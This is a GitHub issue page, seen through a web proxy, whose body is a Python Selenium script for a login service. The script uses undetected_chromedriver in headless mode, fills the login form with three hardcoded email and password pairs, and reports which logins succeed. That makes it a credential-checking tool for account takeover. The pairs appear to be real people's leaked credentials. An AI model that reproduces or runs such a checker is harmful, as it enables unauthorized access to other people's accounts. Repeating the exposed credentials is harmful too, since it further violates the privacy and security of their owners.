8000 T · Issue #12099 · actions/runner-images · GitHub
[go: up one dir, main page]
More Web Proxy on the site http://driver.im/
Skip to content
T #12099
Closed
Closed
T#12099
@MrDot33

Description

@MrDot33

import undetected_chromedriver.v2 as uc
from selenium.webdriver.common.by import By
import time

Website URL

login_url = "https://auth.lusha.com/login"

Define the accounts directly in the script

accounts = [
("leads@pamelamaalouf.it", "P@mel@200"),
("arpit@intervue.io", "Coolarpit@1"),
("stepan@dolejsiconsulting.cz", "583Heslo")
]

Function to perform login check

def login_check(username, password):
options = uc.ChromeOptions()
options.add_argument("--headless") # Run headless for no browser UI
driver = uc.Chrome(options=options)

# Open the login page
driver.get(login_url)
time.sleep(2)  # Wait for the page to load

# Find username and password fields
username_field = driver.find_element(By.NAME, "email")
password_field = driver.find_element(By.NAME, "password")

# Enter credentials
username_field.send_keys(username)
password_field.send_keys(password)

# Click login button
login_button = driver.find_element(By.XPATH, "//button[@type='submit']")
login_button.click()

# Wait for the login attempt to complete
time.sleep(5)

# Check if login was successful (example: by checking URL or page content)
if "dashboard" in driver.current_url or "dashboard" in driver.page_source:
    print(f"[+] Login successful for {username}")
else:
    print(f"[-] Login failed for {username}")

# Close the browser
driver.quit()

Main function to run login checks for all accounts

def check_all_accounts():
for username, password in accounts:
login_check(username, password)

Run the function

check_all_accounts()

Originally posted by @MrDot33 in #12045

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions

      0